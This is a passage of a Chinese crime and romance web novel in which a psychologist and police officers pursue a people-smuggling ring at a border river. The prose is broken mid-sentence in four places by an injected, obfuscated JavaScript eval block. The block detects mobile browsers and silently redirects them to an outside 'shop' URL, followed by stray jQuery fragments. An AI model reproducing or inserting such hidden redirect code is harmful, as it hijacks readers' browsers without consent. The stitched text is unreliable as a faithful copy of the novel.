病房内安静下来,宋扬的脑子却非常乱,他好像失去了一部分记忆,又仿佛多出了一部分记忆,他记得自己去偷看那个通缉犯,然后不小心被发现了,那个通缉犯拽着他的头发把他拽向天台,接下来他的记忆十分模糊,再次清晰起来是看见江淮上来。
淮姐提出用自己交换他,通缉犯起先拒绝,说了莫名其妙的话后又同意了,看到江淮走过来,他脑子一团乱,嘴巴和脑子都不受控制地行动,喊出那句话,把通缉犯推下楼,坠楼,然后晕倒。
好怪,他的脑子里好像多出来一个声音,他是不是生病了?
“宋扬,宋扬?”
“啊?”宋扬惊醒,抬头看向江淮,神思恍惚,“怎么了淮姐?”
“我看你脸色不太好,没事吧?”江淮关心地看着他。
“没,我没事,就是头有点晕。”宋扬摇头,下意识隐瞒。
“别担心,医生给你检查过了,说可能有轻微的脑震荡,恶心头晕都是正常的。”江淮安慰,接着她将手机屏幕朝向宋扬晃了晃,狡黠道:“你刚醒来还不知道,你在网上已经变成智斗恶徒的英雄了,过段时间公安局还会给你发优秀市民的勋章呢。”
“哦对了,还有奖金,那个逃犯身价三百万,不过是民间自筹的,希望不大,至于官方,嗯,应该能拿到五万。”
宋扬看见江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642309|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淮的手机屏幕上正播放着一个短视频新闻,画面内容从江淮朝逃犯走去开始,到两人落到救生气垫上结束,视频从楼下拍摄,十分模糊,只能看到一个大概的轮廓,不是特别熟悉的人很难认出来。
从第三视角看自己坠楼,宋扬才感到那时的惊险,也不知道当时从哪里来的勇气。
想起江淮提出用自己来交换他,哪怕他知道江淮只是出于职责,换成任何一位无辜之人她都会这样做,还是忍不住感到羞赧,耳尖泛起微红。
他跟淮姐的距离,是不是又近了一些呢?
宋扬是昨天下午五点晕倒的,再醒来时已经是第二天上午十点了,全身多处骨折,右腿与左胳膊被包扎得严严实实,腰背被裹了一圈又一圈,额头也贴了一块纱布。
伸手摸上自己的额头,宋扬轻嘶出声,眼中泛起担忧,他不会破相吧?本来身上就没什么优点,也就一张脸长得还行,万一毁容,被淮姐嫌弃怎么办?
淮姐虽然没有明说过,但他看得出来她挺喜欢自己这张脸的,她喜欢捏他脸上的肉,总会看着他的眼睛出神。
这是一间双人病房,两人各自躺着十分安静,江淮觉得宋扬需要静养,便没有与他聊天,一直在看手机,宋扬现在刷手机有点艰难,只能望着门口,偶尔看一眼江淮。
他的视线很想一直住在江淮身上,但害怕暴露出自己的心思,只能装作不在意,偶尔投去一瞥。
两人一个看人,一个看手机,之间却没有尴尬蔓延,只有温和与柔情在环绕,记忆里,他从五岁开始认识江淮,到现在有十六年了。
【冷柜藏尸?货车偷运遗体被警方当场逮捕】
【数百名T国居民偷渡我国,过半惨死途中】
【黑暗产业链,揭秘“猪仔”拐卖】
【X国国际港负责人声称,绝未参与国际人口贩卖】
【神秘血掌,受害者死前竟遭受如此折磨】
下午,江淮的手机上一条国际新闻推送过来,内容简单总结是:
X国国际港否认参与“死亡货车”一案,声称港口集装箱完全密封,且会做相应检查,偷渡者绝不可能在那时藏身。
国际港的声明一出来此案的热度立马就上去了,江淮接连刷到好几条与此有关的新闻,跟风的营销号不知内幕,只胡乱猜测。
用吸睛的标题把人引进去,内容全是模糊的字眼,“据有关人士称”“据某内部人员透露”“疑似”“推测”“据传”,内容全是胡编,还不会惹上麻烦。
那些新闻记者都像闻到血腥味的鲨鱼,行动力极强,一会儿工夫集装箱都给他们偷拍到了,现在估计都堵在警局门口呢。
替马局长默哀了一秒,江淮又想起便衣前往水边寨打探的严钧戚言等人,心里突突跳,总觉得那个地方不简单,她一会儿不会接到他们团灭的消息吧?
正出神,手机突然收到一条陌生消息,江淮点进去,看到发过来的消息:
杀死金蟾。
同一时间,宋扬放在衣服口袋里的手机也轻轻震动了一下。
5. 雨夜出租车
“你怎么过来了?”
前往水边寨一无所获,又去修车店一番探查的严钧一身疲惫地回到警局,刚下车就看见昨天才进医院的江淮站在行政楼前。
眼下是晚上八点多,天色昏黑,街道路灯一排排亮起,公安局大楼灯火通明,大楼顶部一个巨大的探照灯照亮四方,江淮沉静的身影被光线勾勒,面容明明暗暗。
严钧语气沉冷,快步走到她面前。
“来处理王典的事情,配合做笔录,你们那边怎么样了,水边寨没出什么事情吧?”江淮抬眼注视着他,眼神微动,他靠得太近了,身上的凉气席卷上了她的皮肤。
“笔录让那边的人到医院做就行了,何必亲自跑一趟。”自看见她,严钧的眉头就没有松下来过,但也不忍过多斥责,转而道:“水边寨没什么发现,我们一行十几个人把整个村庄转过了几遍,没有发现什么奇怪的人。”
“但这个村庄普遍种植果树,附近是大片的果林,面积非常大,枝繁叶茂,几千个人藏在里面都看不出来,我进里面转了转,只遇到一位当地的果农。”
“他的态度有些奇怪,我怀疑里面有问题,但是我们十几个人转不过来,只能先回来。”
“有留人吗?别让他们连夜跑了。”江淮提醒。
“放心,这么多年刑警不是白干的。”
两人站在门口说了几句话,严钧知道时间紧张不欲多说,抬步准备进楼,江淮忽然伸手拉住他的衣角,严钧动作一顿,疑惑回头,“怎么了?”
“王典认识我。”江淮的声音在微冷的空气中散开,视线定定地望进严钧的眼睛。
“什么?”严钧一愣,随后脸上的表情变得空白,恨自己的反应为什么那么快。
江淮知道他听清楚了,没有重复,下一句话又给了严钧一记闷棍,“他知道黑蝎,知道...顾麟。”
严钧的身体僵了几秒,下颌紧绷,忽然反手攥住江淮的手腕,望向江淮的视线变得凶狠,“你那时候...在天台...”,他的声音忽然颤抖得不成样子,可还是逼着自己问了出来,“你为了一个似是而非的线索,拿自己的生命做赌?”
江淮微微皱眉,严钧的心思太敏锐了,她没想到他转眼就能想通那件事,不由垂下眼睫思索对策。
江淮的沉默令严钧崩溃,眼睛血丝隐现,他步步朝江淮逼去,一直把她逼到墙角,凶狠得像一头恶狼,可江淮却觉得他马上就要哭出来了。
他紧攥着江淮的手腕,将其箍在墙角处,低下头盯上她的眼睛,崩溃地问:“江淮,你究竟知不知道顾麟他已经死了,死了三年了,你说过你会走出来的,会好好生活的,你答应过我,你为什么...为什么还要为了他去死?!
我求你放过自己,行不行?”
夜风吹动两人的发丝,严钧眼中有什么东西在闪烁,明亮的,晶莹的,反射着江淮冷漠的面庞。
严钧情绪崩溃,可还是尽量压低了声音,克制着手上的力度。
两人的呼吸极近,衣角相互触碰摩挲,江淮抬眼平静与他对视,一句话就打回了他所有质问,令他从凶狠的恶狼变回被雨淋湿的小狗。
“如果那时是你,你不会那样做吗?”
小小的蜘蛛在墙角吐丝,门口的白炽灯照亮它透明的丝线,严钧的肩膀一下松懈,头颅深深垂下,全身好似被抽干了力气。
他退后,松开江淮的手腕,低声道:“...抱歉。”
江淮依旧冷冷看着他,嗓音微沉,“你说错了,我不会为了任何人而死,即使那人是顾麟,当时不过形势所逼,我只是想从王典嘴里得到黑蝎的消息,没有想到会变成后来那样。”
“到了今天,我追查黑蝎已经不仅仅是为了顾麟了,而是为了所有被黑蝎残害的无辜之人,为了彻底捣毁黑蛇集团。
顾麟在我心里的确有特殊意义,可即使当年他没有死,我也会成为犯罪心理医生,然后了解黑蛇集团,知道黑蝎干了多少伤天害理的事情,我依然会走上这个道路,你懂吗?”
“对不起...”严钧的声音沙哑,顾麟没错,江淮也没错,错的是他,他不该妄想,不该产生...那样的感情。
他以为自己是正直的,以为自己控制得住,以为自己瞒得住,他无数次尝试逼退阴暗的滋长,可还是让它长成了参天大树。
“好了,这件事情我们之后再谈,马上就开会了,你收拾一下情绪。”江淮轻轻拍两下他的手臂,先一步前往会议室。
......
晚上八点,T国外交部发表声明,声称正在与Z国警方联系,将派遣相关人员协助调查。
T国的声名一出,白港市警方的压力顿时上升了不止一个层次。
偷渡这种事情,说大不大,说小不小,抓到了最多将其遣返,不会做出什么实际处罚,和平时期两国交界处基本不设关卡,村民交流进出十分自由。
可一旦闹到明面上就不太光彩了,偷渡者的国籍会成为国际舆论战的工具,往小了说不过是一般违法行为,往大了说涉及国家尊严,一个处理不好就会使两国交恶。
T国国力虽然远不比Z国,但也是热带地区综合国力最强的国家之一,且两国关系向来良好,近年来却一直被其他国家不断挑拨,上面要求谨慎完美地处理好这件事情,为此,全省警力都任白港市公安局调动,相关部门会全力配合。
没有时间留给市刑侦队慢慢抽丝剥茧,排查摸索,为了以最快速度破解此案,马局长只能下令全面搜查,调遣上百名警察前往水边寨,几班人马轮班连夜查看沿途监控。
“哧”,引擎启动,车灯亮起,江淮站在高处台阶目送警员们一个个动作迅速而利索地跳上车,他们换上了黑色作训服,戴上了同样的黑色头盔,浑身上上下下包裹得严严实实,不露一丝皮肤。
然而当其中一人转头看过来时,江淮还是一眼能分辨出那道目光属于谁。
寒夜雨急,车灯破开前路,很快消失在雨幕中。
雨丝飘摇地落在江淮的棕色长靴上,她撑开一把黑色雨伞,身影被挡了大半。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642310|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师傅,去水边寨。”
路边招手,一辆出租车停在身前,江淮收起雨伞,关上车门对司机道。
“水边寨?这地方可不近,这大晚上的,你一个小姑娘去那偏僻地方做什么?”听到这个地名,司机师傅操持着一口不太标准的普通话忧心问道,没有立即动车。
江淮扭头看向司机,笑着解释,“我就是那个村出来的,回家看看,您不用担心。”
“水边寨出来的,这可不容易。”司机听她这样解释放了心,轻踩油门,路边景色开始倒退。
司机是一位中年女士,开车很稳,平时话不多,但深夜遇到一个年轻姑娘便忍不住跟她聊起天来,“姑娘是做什么的?”
“心理医生。”江淮温温柔回答,视线望着车窗外流淌的水痕。
“医生,医生好啊,我家里也有个姑娘,现在正上高中,也想当医生呢,医生供起来不容易,但是个好职业,只要她喜欢,我跟她爸爸都全力支持。”转动方向盘,拐了个弯,司机师傅又问,“我听说医生要上五年八年的,姑娘你是哪个大学毕业的,上了几年?”
江淮轻笑,“我学的是心理学,跟医院的医生不一样,上的白港本地大学,读了硕士。”
“哎呀,你父母一定很爱你。”司机师傅感叹,“水边寨那种地方又穷又乱,不要说硕士,有几个父母能把孩子供到大学?女孩儿更不容易,早年间给口吃的就算不错了,多的是丢弃卖人的,他们那地方不仅人穷,心也穷...”
司机絮絮叨叨的话语模糊地落到耳中,雨窗将万物都模糊了,高楼变成色块,被车灯照亮的地面泛着血红的光,雨水落在沥青地面上,溅起化为一瞬而逝的银蝶。
“唰——”一辆辆汽车从旁经过,道路越来越窄,路面越来越坎坷,周围越来越黑暗了,行进在山林小路出租车宛若茫茫海面的一盏孤灯。
黑暗滋生恐惧,环境安静到可怕,如果旁边坐着的不是一位面相和善的小姑娘,司机早就掉头回去了。
导航显示前面就是水边寨,司机远远看见前面有隐约的房屋,昏黄的灯光从里面透出来。
“师傅,就停在这里吧,我走两步就到了。”
“这儿?要不再送送?”雨声又急又大,把一个小姑娘放在这样一个黑暗而偏僻的地方她总觉得不安心。
江淮打开车门,按开雨伞,弯腰从车上下来,对司机露出一个安抚的笑,“我从小就长在这,闭着眼都能找到回家的路,倒是您,回去的路不好走,您开车时注意点。”
“好,那我走了,姑娘你慢点啊。”司机倒车转弯,最后看了一眼便离开了。
江淮撑着伞立在泥泞的路面,直到彻底看不见司机的尾灯才收回目光,可之后却没有进入水边寨,她按开手机点进相册,又看了一眼犯罪素描师根据罗自强描述画出来的金叔画像,还有监控里截取到的模糊身影,转身走向了另一条小道。
半分钟后,另一道身影出现在路口,覆盖上那一排明显的脚印,黄泥被挤到鞋边,轻而小的脚印变得沉而大。
6. 渝水渡河
水边寨位于Z国与Y国国界线边缘,一条天然河流将两国分开,这条河流名为渝水,是Y国到Z国最著名的偷渡线路之一,枯水期时对面居民挽起裤脚淌水就能过来。
Y国与Z国之间有着五百多公里的漫长边境线,多为丘陵平原,些许山峰,Y国国内生活贫穷,是Z国南边最大的偷渡源地,据庆州公安保守估计,每年从Y国边境偷渡过来的有一万人,边境小道Z国警方知悉的便有一百多条,每天有上千人来往。
Y国劳动力比国内便宜近一半,国内黑工厂与庆州种植户都很愿意雇佣他们,两国偷渡生意屡禁不止,因为没有对社会造成什么危害,警方对这种现象多是睁一只眼闭一只眼。
至于这次的“死亡货车”偷渡案为何没有怀疑到Y国头上,原因在于他们是从海上偷渡,若是Y国,走一条山路或蹚过一条河轻轻松松就进来了,何必从海上大费周章。
而T国与Z国不交界,且是沿海国家,距离X国也近,因此成为此案最大嫌疑人。
渝水北岸多蔬果种植户,农忙时节村庄内到处都是偷渡过来的Y国农民,村民对此见怪不怪,非常适合作为偷渡中转地。
庆州多山,临海,中南部有小面积河谷平原,白港市位于河谷平原的江河入海口,气候闷热多雨,多发洪涝,水边寨是白港市下辖县城村庄。
渝水两岸植被茂密,为偷渡者提供了天然的遮挡。
道路泥泞,大雨落在林叶上哗哗作响,顺着叶脉汇聚成豆大的雨滴,而后落在黑色雨伞的伞面,伞下一道明亮光束照进雨幕,光束里,纷纷雨丝宛若流动的银河。
江淮的棕色皮靴上溅满了泥点,有的蹦到了她的驼色长风衣上,发丝也变得湿润,被风吹上闪烁的雨滴,风雨袭人,道路艰难,江淮一手持伞,一手握着小型手电筒,顺着汹涌的流水声朝河边走去。
夜空黑如锅底,树林中伸手不见五指,周围没有任何反射物,小小的手电筒仅能照亮方寸,黑暗似在逼近吞噬,江淮看不见前路,却能根据声音勾勒出一条动荡的河流。
树林在她身后消失,脚下的土地越发松软了,空间猛地开阔,河面反射出粼粼水光,一条木船被绑在岸边起伏摇晃,两道人影站在船边。
江淮的手电筒照过去,一道人影佝偻,瘦如白骨,一道四肢粗短,长着最为普通平凡的面容,单眼厚唇,塌鼻短眉,圆脸黄肤,四十岁上下的中年男子。
光线扫过去时,那位中年男子抬起胳膊遮挡,看向江淮的目光闪过警惕,又抱紧了黑色雨衣下的包裹,身形佝偻的老人没什么反应。
将手电筒的光束从他们身上移开,江淮抬步朝两人走去,嗓音凉薄,“蛇头,什么时候放锚?”
蛇头,组织偷渡的人,放锚,意为启程。
“不急,还有一个人。”蛇头嘴唇微动,声音苍老而沙哑。
江淮不再说话,看看河边起伏的木船,又看看似乎轻易就能将其骨头折断的蛇头,非常怀疑他们这趟旅程的安全性,别到时候没问出金蟾的下落,反而一起成为渝水亡魂了。
等了几分钟,黑暗的树林终于又走出一道身影,廋廋高高,穿着防水的黑色冲锋衣,巨大的兜帽遮住了他大半面容。
江淮不由眯起眼,他们这趟偷渡有意思,除了金叔怀里抱了一个小包裹,另外两人都是空手而来,她是假偷渡,这位兄弟是何原因呢?
戴着兜帽的年轻男子走近后没有说话,蛇头开始招呼众人上船,金叔第一个上船,选了一个偏僻角落,江淮一步踏上去,最后是年轻男子。
正下着大雨,河水深且急,木船以一条斜线朝对面划去,河面微宽,大概三四十米距离,金叔窝在船头,江淮撑伞站在船中,年轻男子坐在船尾,各自相安无事。
蛇头是划船的老手,在这种恶劣的天气下也依然镇定自若,不慌不忙,木船一路向下,几十米的距离硬生生走出了百米,他们在缓慢地靠近对岸。
黏稠难言的氛围在船上流动,待木船划到河面中间时,船头的年轻男子忽然抬眼朝江淮看去一眼,江淮余光注意到了,唇角稍动。
此后,越靠近河岸年轻男子投过来的视线越频繁,偶尔也朝船头的金叔瞥去一眼,江淮能感觉到他的焦躁,但依然不动如山地站在那里。
水流减缓,行进速度变快了,终于,木船靠岸,金叔迫不及待地跳下船,踉踉跄跄地朝树林跑去,眼见身影就要消失,年轻男子恶狠狠地剜了江淮一眼,从口袋里掏出枪举起,瞄准那道透着欢欣的身影。
“砰——”,沉闷的一声枪响,黑色雨衣包裹的臃肿身影陡然弯折,一声凄厉的惨叫惊起林中鸟兽,下一瞬,那道枪口又对准了江淮,指腹按下扳机。
“我死了会有人报警哦,警察就在附近。”江淮没有躲避,幽幽开口,年轻男子手上的动作猛然停住,他虽不清楚江淮的身份,却也不敢去赌她话里的真假。
金叔的一条小腿中了枪,他面上露出惊恐,回头望了一眼,艰难起身,一瘸一拐地继续朝树林跑去,小腿上的血洞淅淅沥沥流了一长道血水,被透明的雨水稀释,与黄土糅合融为一体。
年轻男子与江淮对峙,怕她从身后下黑手。
“放心吧,我的身份不适合动手,你要是再不拦住他,我们这一趟可就白跑了。”黑色伞面下的人嗓音带着笑意,只露出一个苍白森冷的下巴,静静站在汹涌的河岸边。
年轻男子一咬牙,枪口又转向了逃跑的金叔,“砰——”,另一条小腿也出现了一个硕大的血洞,金叔直直俯面倒下了,面庞镶嵌进松软的黄泥,年轻男子快步朝他走过去,弯腰揪起他的头发,江淮慢悠悠移到他们三四米处。
“告诉我,金蟾是谁。”年轻男子压低了声音,拽着金叔的头发将他半个身体拽起来,威胁道。
“你...你放了我,放了我我就告诉你...”金叔双膝跪地,被迫仰面,声音痛苦而虚弱,眼睛难以睁开。
“放了你,你当我傻吗?快说!不然我现在就杀了你。”年轻男子心狠手辣,说着又朝金叔的肩膀开了一枪,阴骘的声音好似地狱传来,“是受尽折磨而死,还是痛快地死,你选一个。”
“别,说...我说。”金叔悚然一颤,彻底明白今天只有死路一条,颤巍巍地睁开眼睛,声音散入苍茫夜雨,“金蟾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642311|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,是...”
“轰隆——”
飘摇的小船被一道雷电照亮,船上只剩下三道身影。
下船后,戴着兜帽的年轻男子警惕地盯着江淮,江淮无声一笑,撑着黑伞先他一步离开,中途年轻男子缓慢举起枪指向她的后背,却直到她的身影彻底消失也没有开枪,在他松一口气放下枪时,身形佝偻的蛇头无声站在他身后,缓缓勾起唇角。
“扑通!”
河面水花骤起,渝水又多了一具无名尸骨。
......
“队长,前面好像有个人。”
刺眼的车灯照过去,照出一道打着黑伞站在路边的人影,棕色皮靴,驼色长风衣,上面溅满了黄色泥点,裤子与风衣边缘都有深色湿痕。
“咔”,驾驶员的话音未落,坐在副驾驶的严钧骤然推开车门,满身寒意地朝那道身影跑过去,溅起无数水花。
车灯使落下的雨水晶莹闪烁,漫天银丝中,驾驶员看到路边的那道身影缓缓抬起伞面,露出湿润柔软的长发,一双温和带着笑意的眼睛朝这边望过来。
“江淮,你怎么在这?”严钧胸膛起伏,黑色头盔里的声音沉闷森冷,透出的情绪又气又急,“你怎么来的?你不知道这里很危险吗?你...”
“有点担心你们。”江淮的目光穿透布满水痕的玻璃眼罩,真挚地望进严钧的眼睛。
严钧一下熄火哑然,开心与生气同时出现在心中,他偏头闭眼,长出一口气,情绪平静下来后对江淮道:“跟我上车。”
严钧等人的这次行动抓到不少可疑人员,车内位置紧张,他把副驾驶的位置让给江淮,自己去了后面跟其他队员挤在一起。
“队长,你怎么到后面来了?”车厢内正聊天的队员疑惑地看向跳上来的严钧,这时车厢尾部,探头探脑朝外望去的某位警员举起手,兴奋道:
“我知道!我刚才看到了,江医生过来了,前面没位置,队长只能过来跟我们挤。”
“哦~江医生啊~”许多队友起哄,揶揄地看向自家队长,对他各种调侃:
“这大雨下的,江医生怎么突然过来了呢?这里又没需要她的工作,队长,你说呢?”
一位警员挤眉弄眼,旁边人大声捧哏,“江医生心地善良,肯定是因为担心大家啊,但是呢,主要是因为担心某人吧,这某人呢,现在就在我们中间呐。”
几人暗示拐弯抹角,也有直爽直接怂恿的,“我说队长,我看江医生对你也不是没那个意思,倒是你怂得不行,一直没个明确表示,我要是江医生早就不理你了,你大胆点嘛,江医生条件那么好,多的是有人喜欢,到时候她跟别人在一起了,你可找地哭去吧。”
严钧皱起眉,语气严肃,“别胡说,我们不是你们想的那样。”
“哎哟,你们之间粉红泡泡都冒出来了,还说不是呢。”众人明显不信,促狭地笑。
“行了行了,都少说两句,回去还有得忙呢。”知晓当年内情的老陈出声打了个哈哈,阻止其他人继续起哄。
看着低着头看不清面容的严钧,他心中长叹一口气,哎,真是孽缘啊。
7. 警察叔叔
“下车,都下车。”
回去的路上雨势渐小,下车时滂沱大雨已经变成了斜风细雨,江淮打开车门,看到车后一排排嫌疑人抱头下车,在警察带领下进入大楼。
天气深凉,这些人身上的衣物单薄简陋,好像随手就能撕破,庆州位于亚热带地区,但因地势高,气候不是很热,秋季在二十五度上下,今夜的气温是十八度。
带回来的嫌疑人与Z国一样都是黄色皮肤,大眼一看没什么区别,可仔细一看又能看出不同,大部分人瘦黑,皮肤带着油性,五官粗犷,额头宽且高,鼻梁低,鼻翼宽,Z国其实也不少这样长相的人,最大的不同其实是说不清道不明的感觉。
作为边境城市,白港市公安局处理偷渡这种违法行为可谓是得心应手,许多警官因为经常跟这些人打交道直接无师自通了第二种语言。
江淮进来后看见负责这种案件类型的白警官叽里呱啦跟那些人说了些什么,过一会儿就走到严钧身前报告。
“这些是什么人?”严钧问。
“都是Y国偷渡过来的。”白警官回。
“你确定?”严钧眉头深深皱起,他们耗费了这么多警力,如果只抓回来一群Y国人,那完全可以说是一无所获。
“我经常跟他们打交道,他们骗不了我。”白警官道,说着侧头指向一个瘦成排骨的青年,“就这个,这家伙是三进宫,抓了他两次,这是第三次,每次放回去后过几天他又会跑过来,完全是虱子多了不怕痒,最多关他几天,拿这种人没一点办法。”
那青年见警官指向自己,立即露出油腻的讨好地笑,弯着腰不止地点头。
江淮眸光一闪,提议道:“你们不如直接问他,他经常偷渡,又是在水边寨被抓到,我觉得应该没人比他更清楚里面的情况。”
“哎,有道理啊。”白警官一拍脑袋,恍然大悟,对着江淮感激一笑,立即走到那名青年身前开始询问。
在白警官问话的时间里,严钧看着浑身湿漉漉的江淮忍不住皱眉,关心道:“你先回去吧,真正的主犯还没有头绪,需要的时候我们会叫你。”
江淮侧头微笑,“现在时间还不算太晚,不弄明白情况,回去我更睡不着,而且你看,这里比我小的年轻人都还在忙着,我又没受累,动不动就休息像什么话。”
“他们是警察,你不一样。”严钧的目光依旧不赞同,在他看来,既然穿上警服承受了那份荣誉,辛苦就是应该的,而江淮是受他们保护的普通公民,这不一样。
“好了,我的大警官,知道你负责行了吧。”江淮抬眼,声音无奈,“我就是淋了点雨,身体还没弱到受点寒就生病的程度,你把心放肚子里吧,整天瞎操心。”
严钧的心脏狠狠一跳,面露一丝恍惚,这种语气,这种神情,这句话,他曾见江淮在顾麟面前说过。
那是一个傍晚,江淮还在上学,而顾麟和他已经到了所里上班。
他们比江淮大两届,认识时他们大四,江淮大二,不是同校,但学校大门相对,中间只隔了一条马路。
严钧记得那应该是江淮第一次到局里探望顾麟,很隆重,提了水果,身后藏着一捧鲜花,特意化了淡妆,身上穿着舍友帮忙精心搭配的白粉连衣裙。
到了派出所门口好奇地探着脑袋往里瞧,俏生生地问门口警卫,“警察叔叔你好,我来找人,他叫顾麟,你能叫他出来一下吗?”
严钧就是门口站岗的警察叔叔。
他当时绷着一张脸回:“可以。”
听到他的声音,江淮缓缓睁大了眼睛,非常抱歉,“严钧?你是严钧?!不好意思啊,我一时没认出来,对不起对不起...”
江淮没有认出他,可顾麟身后跟着一大群人走出来时她一眼就看到了,小跑过去,笑容比夏日的向日葵还灿烂。
那时的江淮远没有现在沉稳,在顾麟面前尤其活泼,他看见她绕着穿着一身警服的顾麟走了一圈,然后忽然跳到顾麟身前,故意偏着脑袋调笑,“我的大警官,你可真帅呀。”
随后从身后拿出一小捧茉莉花递给面前的顾麟,笑道:“看在你这么帅的份上,给你的奖励。”
那时候她的眼睛盛着漫天的晚霞,顾麟死后,严钧再没看到她露出那样的笑容了。
“怎么样?”
谨慎严肃的声音将严钧恍惚的神思拉回来,他又回到了蹲满嫌疑人的大厅,看到问完话的白警官面带笑意地朝他们走过来。
“有线索。”白警官微微颔首,“那小子说偷渡到水边寨的人主要分为两种,一种是水边寨附近做零工,隔几天就要回去的,一种是准备长期留在我们国内,到更富裕的地区打黑工。”
“对于第二种,他们会跟着到水边寨搬运水果的货车出去,之后再搭乘不需要身份证明的客车、黑车,中间会有专门的人负责,如果路途过长,还有供他们暂时住宿的‘安全屋’。”
严钧听完分析道:“据罗自强供述,上一次他把人运到水边寨是九月十六号,到了地方后会有一个村民模样的人接应。”
“应该就是当地村民,毕竟要经常在那里接应,如果是外地人不太好操作,不如明天把罗自强带到村里,一个一个认,认出来后问问他把那些偷渡的人送到哪了。”江淮跟上他的思路,接话道。
三人站着讨论时,一队队长戚言雷厉风行地走过来,先看了江淮一眼,而后道,“一个好消息和一个坏消息,你们想先听哪个?”
白警官笑了,“戚队长,都这个时候了,你就别拿我们寻开心了,快说吧。”
江淮面色不变,心中在想戚言刚才那意味深长的一瞥。
“好吧,先说好消息。”戚言干脆利落道:“罗自强口中的另外两名司机有线索了,我们根据租车公司提供的信息,通过排除法确定了几名嫌疑人,其中几个已经找到进行了询问,还有两名闻风而逃,应该就是他们了,估计过两天就能抓到。”
“那坏消息呢?”白警官问。
“坏消息是金叔彻底失去了踪迹。”戚言说着,目光再次落到了江淮身上,意有所指地说,“我们查到昨天他从一家超市路过被监控拍到,接着查了沿途监控,发现他四个小时前拦了一辆车前往渝水方向,司机说把他放在了一个路口。”
“渝水是两国边界,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642312|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐船就能到达Y国,外面又下着大雨,任何痕迹都会被冲刷,在你们回来之前我派人去渝水附近找人,现在还没有消息,但我估计他早就成功偷渡过去了。”
“哦,对了,还有一件很巧的事,金叔坐车前往渝水后我看监控发现另一辆出租车不久后也开往了同一方向,让人一查,里面坐的竟然是江医生,这可真巧。”
戚言的视线向下,落在江淮满是泥污的鞋子上,又忽地抬眼,盯着她的眼睛问,“江医生,你去哪了?”
江淮还未回答,旁边的严钧忽然发难,然而却没有像戚言预想的那样对江淮产生怀疑,而是像一位老父亲那样责问:
“江淮,你刚才还说不用担心,现在你还觉得我的担心还是多余的吗?渝水就在水边寨附近,你们前后脚去,你就自己一个人,万一跟他碰上了怎么办?”
“我知道你是担心大家,但这不是你把自己置身危险的理由,如果你出了事情,不仅帮不了我们,反而会给我们添麻烦,我希望你能想明白这一点。”
白警官不明白气氛怎么突然就变了,有些尴尬地站在一边,江淮垂眼,知道严钧是在帮自己说话,站在他们对面的戚言被严钧的话气笑,哪能不明白这话其实是说给她听的。
得,成她的不是了,严钧你就护着她吧。
戚言转身就离开了,严钧默了一会儿轻叹,对江淮道:“你先回去吧。”
江淮微微颔首,转身走出大楼,发现外面雨停了,只余空气的潮湿,于是提起墙角合起来的黑伞走下楼梯。
庭院地势有些不平,处处水洼,她这次来警局没有开车,这么晚了只能打车回去,走出警局大门时,她忽然回头望了一眼,看见戚队长站在二楼楼梯窗口,似乎在观察她的举动,见她看过去,也不闪不避。
江淮朝她莞尔一笑,转身离去。
打车到小区门口已经凌晨一点多,走到楼下发现四楼左侧竟然还亮着灯,不由一愣,往常这个时候她爸妈早就熄灯睡觉了。
而四楼右侧一片漆黑,宋扬现在还在住院。
江淮脚下一顿,心情复杂地推开门,看见江爸江妈正襟危坐在沙发上,面凝如水,一言不发,看见她走进门立即站起身,朝她走了两步,张口似乎想说些什么,却什么都未说,只站在客厅的灯光下紧紧注视着她。
目光像柔软的丝线,将她层层包裹。
江淮鼻头莫名一酸,明白父母是被前两天的坠楼事件吓怕了,她边换拖鞋边故作轻松地问,“吓我一跳,你们怎么这么晚了还没睡?”
“正准备睡呢,你妈非要出来等,要不是我拦着她,她都跑到警局了。”
“什么我非要出来等,分明是你翻来覆去吵得我睡不着,而且是你先下床的。”
江爸江妈互相推诿,不想在女儿面前表现出自己的恐惧,不想让他们的担忧成为女儿的枷锁负担。
江淮忍不住笑,“好了,你们也知道我是去了警局,能出什么事,别操心了,都睡觉吧,我也要睡了。”
